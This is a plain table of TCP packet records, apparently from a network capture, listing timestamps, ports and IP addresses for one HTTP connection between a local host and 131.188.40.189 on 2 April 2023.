Apr 2, 2023 09:51:06.142054081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142077923 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142087936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142107964 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142127037 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142169952 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142204046 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142221928 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142240047 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142249107 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142271042 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142297029 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142321110 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142347097 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142349958 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142370939 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142379045 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142396927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142421007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142445087 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142446995 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142473936 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142473936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142502069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142527103 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142550945 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142554045 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142570972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142580032 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142591000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142611980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142612934 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142632008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142652035 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142673016 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142682076 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142707109 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142731905 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142734051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142755985 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142765999 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142770052 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142796040 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142815113 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142834902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142855883 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142883062 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142889977 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142903090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142915964 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142924070 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142941952 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142944098 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142963886 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.142970085 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.142983913 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143004894 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143023968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143034935 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143044949 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143063068 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143065929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143086910 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143100977 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143107891 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143129110 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143146992 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143150091 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143171072 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143186092 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143191099 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143212080 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143217087 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143280983 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143302917 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143322945 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143336058 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143342972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143362999 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143373013 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143383026 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143399954 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143404007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143425941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143438101 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143445969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143465996 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143485069 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143532991 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143551111 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143553972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143573999 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143580914 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143594980 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143615007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143635988 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143642902 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143657923 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143672943 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143681049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143702030 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143740892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.143738985 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.143769026 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164227009 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164261103 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164287090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164310932 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164330959 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164335966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164361000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164362907 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164386034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164386034 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164412022 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164438009 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164458990 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164462090 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164486885 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164496899 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164511919 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164531946 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164536953 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164562941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164587021 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164611101 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164613962 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164634943 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164648056 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164659977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164684057 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164690971 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164707899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164731979 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164732933 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164756060 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164779902 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164803028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164808035 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164827108 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164863110 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164877892 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164891005 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164901972 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164926052 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164949894 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164973974 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.164977074 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.164998055 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165011883 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165023088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165046930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165071011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165093899 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165092945 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165143967 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165147066 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165147066 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165169001 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165193081 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165218115 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165221930 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165241957 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165286064 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165290117 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165308952 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165334940 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165342093 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165359020 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165380955 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165383101 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165421963 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165443897 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165446997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165472031 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165496111 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165498972 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165519953 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165545940 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165549994 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165570021 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165596008 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165620089 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165643930 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165657997 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165658951 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165668011 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165690899 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165700912 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165725946 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165750027 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165775061 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165780067 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165798903 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165802002 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165823936 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165848017 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165873051 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165875912 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165895939 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165894985 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165921926 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165945053 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165970087 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165977001 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.165993929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.165996075 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166018009 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166042089 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166069984 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166073084 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166089058 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166109085 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166142941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166167021 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166189909 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166193962 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166215897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166219950 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166260004 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166274071 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166284084 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166307926 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166347027 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166351080 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166373968 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166400909 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166414022 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166424990 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166450977 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166450977 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166491032 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166497946 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166516066 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166541100 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166564941 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166589975 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166594982 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166615009 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166615009 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166640043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166665077 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166702986 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166702032 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166728973 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166728973 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166754007 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166778088 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166801929 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166811943 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166826963 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166838884 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166851997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166876078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166882992 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166901112 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166925907 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166949034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166951895 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166973114 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.166977882 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.166996956 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167026043 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167051077 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167064905 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167071104 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167093039 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167133093 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167145967 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167156935 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167181969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167200089 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167206049 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167229891 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167254925 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167265892 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167279005 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167301893 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167304993 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167326927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167350054 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167366028 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167382002 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167397976 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167413950 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167429924 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167454958 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167473078 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167496920 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167501926 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167538881 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167562962 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167578936 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167599916 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167623997 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167627096 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167669058 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167681932 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167694092 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167718887 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167742014 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167749882 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167782068 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167809963 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167814016 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167834044 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167857885 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167881966 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167896032 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167907000 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167926073 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.167932034 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167956114 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167973042 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.167989969 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168006897 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168023109 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168061972 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168098927 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168108940 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168128014 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168152094 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168174982 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168193102 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168200016 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168216944 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168224096 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168247938 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168271065 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168293953 CEST	80	49724	131.188.40.189	192.168.2.4
Apr 2, 2023 09:51:06.168296099 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168314934 CEST	49724	80	192.168.2.4	131.188.40.189
Apr 2, 2023 09:51:06.168318033 CEST	80	49724	131.188.40.189	192.168.2.4
